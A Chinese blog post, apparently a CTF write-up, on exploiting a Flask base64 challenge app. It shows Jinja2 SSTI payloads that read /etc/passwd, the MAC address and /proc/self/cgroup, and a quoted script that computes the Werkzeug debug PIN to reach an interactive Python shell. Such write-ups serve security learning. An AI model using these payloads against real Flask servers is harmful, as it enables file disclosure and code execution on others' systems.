Flaskapp(SSTI+Flask PIN)

最新推荐文章于 2023-12-01 23:50:01 发布

Arnoldqqq

最新推荐文章于 2023-12-01 23:50:01 发布

阅读量393

点赞数

分类专栏： i春秋公益赛

本文链接：https://blog.csdn.net/weixin_43610673/article/details/104726642

版权

i春秋公益赛专栏收录该内容

4 篇文章 0 订阅

订阅专栏

题目是一个base64 加密解密的程序。
多次尝试之后发现页面开启了flask的debug模式，解码的地方输入1进入debug。
在这里插入图片描述
在debug有源码泄露

可以看到存在ssti模板注入
文件路径也暴露了

发现不能命令执行，尝试读取文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

在页面上先加密再解密
在这里插入图片描述

可以看到用户应该为flaskweb 或者root，由于flag文件路径未知，便尝试获得此debug的pin码从而得到一个python的交互式shell
Mac地址：

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address', 'r').read() }}{% endif %}{% endfor %}

在这里插入图片描述

机器id：

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %}

在这里插入图片描述
对于非docker机每一个机器都会有自已唯一的id，linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i，有的系统没有这两个文件，windows的id获取跟linux也不同。
对于docker机则读取/proc/self/cgroup：
运行脚本获取pin码（kingkk师傅的exp）：

#脚本出处：https://xz.aliyun.com/t/2553  
#by kingkk

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py' 
]

private_bits = [
    '2485410392829',# address
    'b019a5b5a7b48c37883e766e08a1626ca908e3d4dfdb41c92e6924515ee481d2'# machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)